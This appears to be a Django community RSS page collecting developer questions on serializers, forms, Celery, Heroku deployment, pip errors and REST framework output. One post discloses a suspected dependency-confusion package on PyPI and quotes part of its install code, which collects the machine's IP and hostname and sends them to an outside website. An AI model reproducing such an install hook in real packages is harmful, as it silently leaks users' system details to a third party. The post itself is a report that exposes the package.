Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
Better way to save data in database using django serializer
Hello I am working on a project in which I'm making serializers. Right now the way I'm saving the information is as follows models.py class Services(models.Model): business = models.ForeignKey(Business, on_delete=models.CASCADE) service = models.CharField(max_length=30, blank=True) serializers.py class ServiceSerializer(serializers.ModelSerializer): class Meta: model = Services fields = ('id', 'business', 'service') views.py class ServiceAPIView(APIView): permission_classes = [IsAuthenticated] def post(self, request): data = request.data business = Business.objects.get(user=request.user) data['business'] = business.pk serializer = BusinessSerializer(data=data) if serializer.is_valid(): serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) urls.py urlpatterns = [ path('business/', BusinessAPIView.as_view()), ] and I send post requests using postman. This is working fine but this is a very small part of the application and the code will grow to be very large. If there is a better way of doing this in which I write smaller code then I would like to employ that. -
Assign pk form URL to model's related field
I would like to use the "nested" url /customers/<id>/orders for creating new orders and I would like to get the order's customer_id based on the request's url <id>. Of course, Order model has a customer = ForgeinKey(Customer,..) field that relates to the Customer model. My approach so far is creating an OrderSerializer and tampering with the self.context['request'] class in order to get the url and the customer's pk. However that does not work for me so far. Any suggestions? Thanks! -
How to pass request in forms.BooleanField to get the data from database in Django?
I'm using forms.BooleanField for checkbox filtering. I got stuck on getting the data from the database. Meaning: If the user clicks on the SAMSUNG product the data should filter all the SAMSUNG products. well, I have tried to get the brand list from the database and it is doing well but when I click on a specific brand it does not filter a specific brand. (rather it just refresh and show the same data) Code goes here: forms.py class BrandForm(forms.Form): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) brands = Product.objects.filter(category=1).values_list('brand', flat=True) for brand in brands: self.fields[f'{brand}'] = forms.BooleanField(label=f'{brand}', required=False) views.py def product(request): product = Product.objects.all().order_by('-id') formBrand = BrandForm() return render(request, 'list/product.html', {'product': product, 'formBrand':formBrand} ) index.html <form action="{% url 'main:productdata' %}" method="get"> {{ formBrand.as_p }} <input type="submit" value="OK"> </form> What all the code should be implemented? -
how to fix SystemCheckError
Hi while I was adding a dislike button to my blog I encountered a SystemCheckError. How do I fix it. I hope someone can help me. Traceback: SystemCheckError: System check identified some issues: ERRORS: myblog.Post.dislike: (fields.E304) Reverse accessor for 'myblog.Post.dislike' clashes with reverse accessor for 'myblog.Post.likes'. HINT: Add or change a related_name argument to the definition for 'myblog.Post.dislike' or 'myblog.Post.likes'. myblog.Post.dislike: (fields.E305) Reverse query name for 'myblog.Post.dislike' clashes with reverse query name for 'myblog.Post.likes'. HINT: Add or change a related_name argument to the definition for 'myblog.Post.dislike' or 'myblog.Post.likes'. myblog.Post.likes: (fields.E304) Reverse accessor for 'myblog.Post.likes' clashes with reverse accessor for 'myblog.Post.dislike'. HINT: Add or change a related_name argument to the definition for 'myblog.Post.likes' or 'myblog.Post.dislike'. myblog.Post.likes: (fields.E305) Reverse query name for 'myblog.Post.likes' clashes with reverse query name for 'myblog.Post.dislike'. HINT: Add or change a related_name argument to the definition for 'myblog.Post.likes' or 'myblog.Post.dislike'. WARNINGS: myblog.Category: (models.W042) Auto-created primary key used when not defining a primary key type, by default 'django.db.models.AutoField'. HINT: Configure the DEFAULT_AUTO_FIELD setting or the MyblogConfig.default_auto_field attribute to point to a subclass of AutoField, e.g. 'django.db.models.BigAutoField'. myblog.Post: (models.W042) Auto-created primary key used when not defining a primary key type, by default 'django.db.models.AutoField'. HINT: Configure the DEFAULT_AUTO_FIELD setting or the … -
Can a django model have a hardcoded no type field?
Basically my question stems from the need to create multiple models that branch off a main base class. Each of these models have a type, and I wish to keep this type on the model in the database, but I want to room for error so I thought of hardcoding it into the model. This is pretty much a question of "Is this something that django supports?". I haven't fully tested this, I don't know / can't say that if I did this right now everything would be fine or not ... but I can't seem to find the relevant documentation for it and would like to learn the best practices. Here is an example of what I mean: from django.db import models from enum import Enum class PersonType(Enum): STUDENT = "Student" TEACHER = "Teacher" class BaseClass(models.Model): """Represents a base model""" name = models.TextField() age = models.IntegerField() class Student(BaseClass): """Represents a student""" type = PersonType.STUDENT.value class Teacher(BaseClass): """Represents a teacher""" type = PersonType.TEACHER.value Would something like this be accepted by django? The only other solution I can think of is to make type a TextField with the default property set, and never expose it via the serializer. There is no … -
Is it possible to use Django Channels to refresh a page when an async task is done?
I already use Django Channels with Django Signals for real time updates. But the information that I update are strings, numbers, not a template. Is it possible to use Django Channels to refresh a page (or load a specific template) when an async task is done? If so, how? Many thanks in advance for your help. -
django 2.2 celery 5.1 cannot start worker
I am trying celery 5 with Django 2.2 on Ubuntu 20.04 I am getting this problem when I run my code from __future__ import absolute_import, unicode_literals from loguru import logger from celery.decorators import task import time @task(bind=True,name="mein_test_task") def mein_test_task(request): try: logger.info('Hier startet mein erstes Celery Task') time.sleep(5) logger.info('Habe fertig geschlafen') result = 'Good Response:mein_test_task()' logger.info(result) except Exception: logger.error("Bad response: Celery Task: mein_test_task()") result = 'Bad Response:mein_test_task()' logger.error(result) return result [2021-06-23 10:45:45,606: INFO/MainProcess] w1@ubuntu-s-1vcpu-1gb-fra1-01 ready. [2021-06-23 10:45:45,606: ERROR/MainProcess] Process 'ForkPoolWorker-1' pid:44613 exited with 'exitcode 1' [2021-06-23 10:45:45,627: CRITICAL/MainProcess] Unrecoverable error: WorkerLostError('Could not start worker processes') Traceback (most recent call last): File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/worker/worker.py", line 203, in start self.blueprint.start(self) File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/bootsteps.py", line 116, in start step.start(parent) File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/bootsteps.py", line 365, in start return self.obj.start() File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/worker/consumer/consumer.py", line 326, in start blueprint.start(self) File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/bootsteps.py", line 116, in start step.start(parent) File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/worker/consumer/consumer.py", line 618, in start c.loop(*c.loop_args()) File "/home/abdullah/wienwohnung/myvenv/lib/python3.8/site-packages/celery/worker/loops.py", line 57, in asynloop raise WorkerLostError('Could not start worker processes') billiard.exceptions.WorkerLostError: Could not start worker processes -
Add double quotes to string in django template
I want to convert something like that id,name to something like that "id","name" in django template. I looked at django template built in tags but none of them works. Does anyone have an idea to achieve it? -
Display the form on multiple screens
I have a simple form that allows me to create an event. forms.py: from django import forms from bootstrap_datepicker_plus.widgets import DatePickerInput from .models import Event class EventForm(forms.ModelForm): class Meta: model = Event fields = [ 'first_name', 'last_name', "start_date", "end_date", ] widgets = { "start_date": DatePickerInput(options={"format": "MM/DD/YYYY"}).start_of("event active days"), "end_date": DatePickerInput(options={"format": "MM/DD/YYYY"}).end_of("event active days"), } models.py: from django.db import models class Event(models.Model): first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) start_date = models.DateField() end_date = models.DateField() views.py: from django.http import HttpResponseRedirect from django.views.generic.edit import FormView from .forms import EventForm from .models import Event class BsFormView(FormView): template_name = "myapp/bs-form.html" form_class = EventForm def form_valid(self, form): if form.is_valid(): first_name = form.cleaned_data["first_name"] last_name = form.cleaned_data["last_name"] start_date = form.cleaned_data["start_date"] end_date = form.cleaned_data["end_date"] event = Event( first_name=first_name, last_name=last_name, start_date=start_date, end_date=end_date, ) event.save() return HttpResponseRedirect(self.request.META.get("HTTP_REFERER")) I want to split it so that the user can enter first and last name(step 1), click Next, and enter the date(step 2). Here is an example of the form I have described. What methods do I need to use to implement such a form in Django? -
Django Rest API & React error: Method "POST" not allowed
I was wondering if anyone can help, I am creating a rest framework with django and react. The problem is when I go to create a new product i get the following error: Method "POST" not allowed. in my product_views.py I have the following: @api_view(['POST']) @permission_classes([IsAdminUser]) def createProduct(request): user = request.user product = Product.objects.create( user=user, name='Sample Name', price=0, brand='Sample Brand', countInStock=0, category='Sample Category', description='' ) In my product_urls.py I have the following: from django.urls import path from base.views import product_views as views urlpatterns = [ path('', views.getProducts, name="products"), path('<str:pk>/', views.getProduct, name="product"), path('create/', views.createProduct, name="product-create"), path('update/<str:pk>/', views.updateProduct, name="product-update"), path('delete/<str:pk>/', views.deleteProduct, name="product-delete"), ] My settings.py is set to JWT (simple): REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_simplejwt.authentication.JWTAuthentication', ) } from datetime import timedelta SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(days=30), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': False, 'BLACKLIST_AFTER_ROTATION': True, 'UPDATE_LAST_LOGIN': False, 'ALGORITHM': 'HS256', 'VERIFYING_KEY': None, 'AUDIENCE': None, 'ISSUER': None, 'AUTH_HEADER_TYPES': ('Bearer',), 'AUTH_HEADER_NAME': 'HTTP_AUTHORIZATION', 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM': 'user_id', 'USER_AUTHENTICATION_RULE': 'rest_framework_simplejwt.authentication.default_user_authentication_rule', 'AUTH_TOKEN_CLASSES': ('rest_framework_simplejwt.tokens.AccessToken',), 'TOKEN_TYPE_CLAIM': 'token_type', 'JTI_CLAIM': 'jti', 'SLIDING_TOKEN_REFRESH_EXP_CLAIM': 'refresh_exp', 'SLIDING_TOKEN_LIFETIME': timedelta(minutes=5), 'SLIDING_TOKEN_REFRESH_LIFETIME': timedelta(days=1), } in my react productListScreen.js I have: import React, { useState, useEffect } from 'react' import { LinkContainer } from 'react-router-bootstrap' import { Table, Button, Row, Col } from 'react-bootstrap' import { useDispatch, useSelector } from 'react-redux' … -
2checkout subscription send UID in webhook of who made the subscription
Hi i am creating a django react website. My website has a service that user needs to subscribe to. Usecase: user logs in user buys subscription from his admin panel my backend adds a month in his subscription my problem is, i managed to make 2checkout hit my backend using a webhook, but how can i know which user bought the subscription? PS : i used 2checkout product link to buy subscription they payment is fully handled by 2checkout, only after payment is successful it hits my backend with webhook. -
Hello I made a Tiktok downloader in Python but the api doesn't work i have 3 api
import requests import json from bs4 import BeautifulSoup def downloader(link): source = "https://freevideosdowloader.tk/services/downloader_api.php" data={"url": link} resp = requests.post(source,data=data, verify=True).text links_list = json.loads(resp)["VideoResult"][0]["VideoUrl"] print(resp) if links_list != '': r = requests.get(links_list, allow_redirects=True) content = r.content print(r) with open('video.mp4', 'wb') as f: *#it is used for writing the file* f.write(content) else: print("Something went wrong") downloader('https://www.tiktok.com/@taras.tolstikov/video/6957277807219068165') So I use apis like https://api.tiktokv.com/aweme/v1/play/?video_id= and also music.ly nut no one works for me -
Unable to install Pip |Python
User@Admins-MacBook-Pro ~ % pip install xq Traceback (most recent call last): File "/usr/local/bin/pip", line 11, in <module> load_entry_point('pip==21.1.2', 'console_scripts', 'pip')() File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/pkg_resources/__init__.py", line 489, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/pkg_resources/__init__.py", line 2843, in load_entry_point return ep.load() File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/pkg_resources/__init__.py", line 2434, in load return self.resolve() File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/pkg_resources/__init__.py", line 2440, in resolve module = __import__(self.module_name, fromlist=['__name__'], level=0) File "/Library/Python/2.7/site-packages/pip-21.1.2-py2.7.egg/pip/__init__.py", line 1, in <module> from typing import List, Optional ImportError: No module named typing If you get above error pip install xq .Try with below command : sudo python3 -m pip install --upgrade --force-reinstall pip -
In Python, is there any functionality that checks if sub class has the method defined not super class
Let's say: class Human: def get(): print("OK") class Person(Human): def printw(a, b): print("ayush") x = hasattr(Person, 'get') print(x) Output: True But, I want that if subclass(Person) has a method "get", then only I should get True else not. NOTE: I want to check in run time and superclasses may not be available. -
Deploying heroku host(?) to git not working
I am very new to web development and just started working through this: Django for Beginners However, I am stuck at page 51 -> Deployment. The author is describing how to push the heroku web host to git, which should work like this: (pages) $ git push heroku master output: error: src refspec master does not match any error: failed to push some refs to 'https://git.heroku.com/boiling-caverns-68497.git' I tried going through this thread to find a solution but none of the provided answers made it work. The closest I came to make it work was this: (pages) $ git push heroku main output: Enumerating objects: 29, done. Counting objects: 100% (29/29), done. Delta compression using up to 8 threads Compressing objects: 100% (27/27), done. Writing objects: 100% (29/29), 4.17 KiB | 1.39 MiB/s, done. Total 29 (delta 3), reused 0 (delta 0), pack-reused 0 remote: Compressing source files... done. remote: Building source: remote: remote: -----> Building on the Heroku-20 stack remote: -----> Determining which buildpack to use for this app remote: ! No default language could be detected for this app. remote: HINT: This occurs when Heroku cannot detect the buildpack to use for this application automatically. remote: See https://devcenter.heroku.com/articles/buildpacks remote: … -
ConnectionResetError: [Errno 104] Connection reset by peer "Django"
I facing connection error issue on my server . I dont know what's causing them as this problem arises for no particular reason. Whenever it arises all the requests get halted but all the request get through after few minutes. I am guessing it is happening because of the threading process I am using for uploading files(may be , not sure) . Any help regarding this is much appreciated. Here is the error I am facing . Thanks Exception occurred during processing of request from ('0.0.0.7', 23266) web_1 | Traceback (most recent call last): web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 683, in process_request_thread web_1 | self.finish_request(request, client_address) web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 360, in finish_request web_1 | self.RequestHandlerClass(request, client_address, self) web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 747, in __init__ web_1 | self.handle() web_1 | File "/usr/local/lib/python3.9/site-packages/django/core/servers/basehttp.py", line 171, in handle web_1 | self.handle_one_request() web_1 | File "/usr/local/lib/python3.9/site-packages/django/core/servers/basehttp.py", line 179, in handle_one_request web_1 | self.raw_requestline = self.rfile.readline(65537) web_1 | File "/usr/local/lib/python3.9/socket.py", line 704, in readinto web_1 | return self._sock.recv_into(b) web_1 | ConnectionResetError: [Errno 104] Connection reset by peer -
Convert a complex SQL query in Django ORM
In my project i have an SQL query for extract some results from two tables like thisone: SELECT read_date, unit_id, device_id, proj_code, var_val FROM public.api_site_varsresults AS SV, public.api_site_results AS SR WHERE (read_date >= '2021-06-21' AND read_date <= '2021-06-24') AND SV.id_res_id = SR.id i wolud to use this query in my django project using ORM but i try to do : varsresults.objects.filter(<conditions>).fields(<fields>) but is not correct, i don't know how i can link two tables, select specific fields and filter for that condition in django ORM Can someone help me please? So many thanks in advance Manuel -
Possible dependency confusion vulnerabilities in pypi (Python)?
Possible dependency confusion vulnerabilities in pypi ! I made a discovery, it's a bit of a mystery to me. I'm currently developing a Django web app and using a tool called pip-licenses I could output all the packages with their corresponding licenses. When doing so I discovered a package that I never installed: pkg-resources (https://pypi.org/project/pkg-resourcess/#description) at first glance I could tell something was different about this package, first of all no version, and no license. I downloaded the source and their is some strange call to the dev's website: def _post_install(): ip = requests.get('https://api.ipify.org').text ipText = format(ip); myhost = os.uname()[1] # [...] # The call to the dev website: r = requests.get("https://kotko.me?"+company+name+"="+base64_message) I found the dev website clicking on source from the pypi site wich took me to (what I think is) a private repo: https://github.com/kotko/bravado-decorators, I can only assume his account is: https://github.com/kotko. We can see that in his description the website is mentioned. My current requirements.txt: boto3==1.17.97 crispy-bootstrap5==0.4 dj-database-url==0.5.0 django==3.2.4 django-cors-headers==3.7.0 django-crispy-forms==1.12.0 django-oauth-toolkit==1.5.0 django-otp==1.0.6 django-redis==5.0.0 django-storages==1.11.1 djangorestframework==3.12.4 drf-nested-routers==0.93.3 gunicorn==20.1.0 httptools==0.2.0 pillow==8.2.0 psycopg2-binary==2.9.1 qrcode==6.1 sentry-sdk==1.1.0 social-auth-app-django==4.0.0 uvicorn==0.14.0 uvloop==0.15.2 whitenoise==5.2.0 To reproduce, on ubuntu: python3 -m venv venv source ./venv/bin/activate pip install -r requirements.txt pip install pip-licenses pip-licenses | grep … -
Take objects outside list django rest framework
I'm using django & django rest framework and I have a problem with this: I have a json like this after using get method. I'm Using Django REST Framework 3. [ { "favorites": [ { "id": 1, "name": "Vin School" }, { "id": 2, "name": "School" }, { "id": 3, "name": "High School" }, { "id": 4, "name": "Primary School" } ] } ] But how can I do to get this: [ { "id": 1, "name": "Vin School" }, { "id": 2, "name": "School" }, { "id": 3, "name": "High School" }, { "id": 4, "name": "Primary School" } ] Any suggestion. Thank you. I have my serializer below: My Serializer: class SchoolFavoriteSerializer(serializers.ModelSerializer): class Meta: model = School fields = ('id', 'name',) class ParentFavoriteSchoolHomePageSerializer(serializers.ModelSerializer): class Meta: model = Parent fields = ('favorite_schools',) def to_representation(self, instance): rep = super().to_representation(instance) rep["favorite_schools"] = SchoolFavoriteSerializer(instance.favorite_schools.all()[:4], many=True).data return rep -
foreign key in django-impor-export
First of all pardon me for my poor English. I'm using django-import-export to upload excel file into my student model that has foreign key relationship with university model student.. models.py: class Student(models.Model): institution = models.ForeignKey(University, on_delete=models.CASCADE) id = models.CharField(max_length=200, primary_key=True) first_name = models.CharField(max_length=200) middle_name = models.CharField(max_length=200) last_name = models.CharField(max_length=200) age = models.IntegerField() faculty = models.CharField( max_length=200, null=True, blank=True) program = models.CharField( max_length=200, null=True, blank=True) def __str__(self): return self.first_name university.. models.py: class University(models.Model): name = models.CharField(max_length=300) email = models.EmailField(max_length=255, unique=True) phone_no1 = PhoneNumberField() phone_no2 = PhoneNumberField(blank=True) fax_no = PhoneNumberField() website = models.URLField(max_length=200) pob = models.IntegerField() city = models.CharField(max_length=200, blank=True) logo = models.ImageField(upload_to="logos/", blank=True, null=True) def __str__(self): return self.name After reading django-import-export documentation about ForeignKeyWidget I edited my resources.py file as following and it works fine when I upload excel file that contain institution id and other student information resources.py class StudentResource(resources.ModelResource): institution = fields.Field( column_name='institution', attribute ='institution', widget = ForeignKeyWidget(University, 'id') ) class Meta: model=Student But I don't want to include institution id into my excel file while I am uploading, because I can find the institution id from Registrar Staff logged in since the RegistrarStaff model has foreign key relationship with university model class RegistrarStaff(models.Model): user = models.OneToOneField(User, on_delete = … -
Dynamically save the Django form
I am trying not to use formset in my form. Instead of that, I trying to create form dynamically and save all forms data in DB. I can create a dynamic form, but whenever I create multiple forms in "create order", it always saves the last forms data. For example, once I create 3 forms, and after saving the form, the table shows me only 3rd form data, which means it does not save all data together. views.py def create_order(request): from django import forms form = OrderForm() if request.method == 'POST': forms = OrderForm(request.POST) if forms.is_valid(): po_id = forms.cleaned_data['po_id'] supplier = forms.cleaned_data['supplier'] product = forms.cleaned_data['product'] part = forms.cleaned_data['part'] order = Order.objects.create( po_id=po_id, supplier=supplier, product=product, part=part, ) forms.save() return redirect('order-list') context = { 'form': form } return render(request, 'store/addOrder.html', context) forms.py class OrderForm(forms.ModelForm): class Meta: model = Order fields = ['supplier', 'product', 'part','po_id'] widgets = { 'supplier': forms.Select(attrs={'class': 'form-control', 'id': 'supplier'}), 'product': forms.Select(attrs={'class': 'form-control', 'id': 'product'}), 'part': forms.Select(attrs={'class': 'form-control', 'id': 'part'}), } HTML <form action="#" method="post" id="form-container" novalidate="novalidate"> {% csrf_token %} <div class="form"> <div class="form-group"> <label for="po_id" class="control-label mb-1">ID</label> {{ form.po_id }} </div> <div class="form-group"> <label for="supplier" class="control-label mb-1">Supplier</label> {{ form.supplier }} </div> <div class="form-group"> <label for="product" class="control-label mb-1">Product</label> {{ form.product … -
Django sharing session id across subdomains
I have a Django powered website at example.com. There is another fronted app (working with REST API) which we want to host at store.example.com. What I want to achieve is to share session id between these domains. Because users will log in at example.com and then can go to store.example.com, if they wish. I found this gist that shows: DOMAIN = 'store.example.com' CSRF_COOKIE_DOMAIN = DOMAIN SESSION_COOKIE_DOMAIN = DOMAIN Are the above settings enough for my purpose? What confuses me is that some answers in stackoverflow says that both sites should be powered by Django. -
Trying to render a django form field as a variable in a script tag in an html template, but the javascript isn't working
My issue is simple enough--I am trying to render a form field from a django form into a javascript variable, defined within a tag, within a django template. When I output a CharField, there's no problem. But when I try to render a ChoiceField, the resulting output breaks the html, and prevents the script tag from correctly parsing my variable. To demonstrate my setup, I have a form defined in forms.py, exactly like this example form: from django import forms form = TestForm(forms.Form): testfield = forms.ChoiceField(initial="increase_rate", choices=[ ("a", "option a"), ("b", "option b"), ("c", "option c"), ("d", "option d") ]) I am instantiating the form in views.py, and passing it into a django template to be rendered. from django.shortcuts import render from .forms import TestForm [...] @require_http_methods(["GET"]) def webpage(request): form = TestForm() return render(request, 'index.html', {"form":form}) Then, finally, in my template, I have something like the following: [...] <script> window.testfield = '{{ form.testfield }}' </script> [...] Up until this point, everything works perfectly. No trouble at all. But when I render the field into the template, and inspect it in my browser, I get the following: <script> window.testfield = '<select name="trigger" id="id_trigger"> <option value="a" selected>option a</option> <option value="b">option b</option> <option … -
Github and Web deployment Issues on Heroku
I had deployed my django site on heroku.I have been facing some problems.When I add products or users in admin page,It just remains for one day and next day those products and users that i add it dissapears and another thing is how am I suppose to reflect those changes made in admin page to github repository.So I can clone it back to my computer for some purposes -
Detecting database changes in Django
I am trying to detect changes in database from my django app. For example, if entry in database table gets deleted, I need to call some function. So those changes goes not from the code, its done by user in db. Is there some module or something to detect those changes? P.S. I have tried using signals, but not success @receiver(post_delete, sender=TranslationsKeys) def post_delete_merchant_active_translation(sender, instance, **kwargs): print(f'Deleted {instance}')